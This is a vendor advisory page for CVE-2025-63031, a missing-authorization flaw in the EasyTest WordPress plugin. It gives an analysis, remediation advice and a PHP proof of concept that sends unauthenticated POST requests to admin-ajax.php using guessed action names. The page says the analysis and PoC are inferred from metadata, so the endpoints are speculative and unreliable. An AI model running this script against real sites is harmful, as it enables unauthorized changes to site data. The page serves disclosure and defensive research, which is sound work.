Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-63031: EasyTest <= 1.0.1 – Missing Authorization (convertpro)

Plugin convertpro
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.0.1
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-63031 (metadata-based):
This vulnerability is a Missing Authorization flaw in the EasyTest WordPress plugin version 1.0.1 and earlier. The vulnerability allows unauthenticated attackers to trigger a privileged plugin function, leading to unauthorized actions. The CVSS score of 5.3 (Medium) reflects a network-accessible attack with low complexity and no user interaction, resulting in integrity impact but no confidentiality or availability loss.

Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify a user’s permission level before executing a function. This analysis infers the vulnerable code registers an AJAX action or admin-post endpoint without using `current_user_can()` or a similar authorization function. The description does not specify whether the function is an AJAX handler, REST endpoint, or direct file call, but WordPress plugin architecture strongly suggests an AJAX action registered via `add_action(‘wp_ajax_nopriv_…’)` or an admin-post handler with `admin_post_nopriv_`.

Exploitation requires sending a crafted HTTP request to the vulnerable endpoint. Attackers target the WordPress AJAX handler at `/wp-admin/admin-ajax.php` or the admin-post handler at `/wp-admin/admin-post.php`. The request includes an `action` parameter matching the plugin’s vulnerable hook. The plugin slug ‘convertpro’ suggests the action name may be `convertpro_` or `easytest_` prefixed. Attackers send a POST request with parameters the vulnerable function expects, such as settings modifications or data deletion commands. No nonce or cookie authentication is required.

Remediation requires adding a proper capability check before the function executes. The patched code must verify the current user has appropriate permissions, typically using `current_user_can(‘manage_options’)` for administrator actions or a custom capability. The fix should also remove any `nopriv` hook registration if the function should only be available to authenticated users. WordPress security best practices dictate combining capability checks with nonce verification for state-changing operations, though the CVE description only confirms the missing authorization.

The impact is unauthorized modification of plugin functionality or WordPress site data. Attackers can alter plugin settings, delete test data, or trigger administrative actions reserved for authenticated users. The integrity impact (I:L) indicates attackers can change data within the plugin’s scope. This could disrupt site functionality or prepare for further attacks if the vulnerable function interacts with the database or file system. No confidentiality or availability impact is indicated by the CVSS vector.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-63031 - EasyTest <= 1.0.1 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-63031.
 * This script demonstrates unauthenticated access to a vulnerable EasyTest plugin function.
 * The exact AJAX action name is inferred from common WordPress plugin patterns.
 * Assumptions:
 *   1. The vulnerable endpoint is /wp-admin/admin-ajax.php
 *   2. The action parameter uses the plugin slug 'convertpro' or 'easytest'
 *   3. The function accepts POST parameters for unauthorized actions
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Common vulnerable action names based on plugin slug patterns
$possible_actions = [
    'convertpro_easytest_action',
    'easytest_action',
    'cp_easytest_action',
    'easytest_save_settings',
    'easytest_delete_data'
];

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $post_data = [
        'action' => $action,
        'data' => 'unauthorized_modification', // Example parameter
        'nonce' => '' // No nonce required due to missing authorization
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Add headers to simulate legitimate WordPress AJAX request
    $headers = [
        'User-Agent: Atomic Edge PoC',
        'X-Requested-With: XMLHttpRequest',
        'Accept: application/json, text/javascript, */*; q=0.01'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Testing action: {$action}n";
    echo "HTTP Code: {$http_code}n";
    echo "Response: {$response}nn";
    
    // Success indicators: HTTP 200 with plugin-specific response
    if ($http_code == 200 && strpos($response, 'success') !== false) {
        echo "[+] Potential vulnerability found with action: {$action}n";
        break;
    }
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School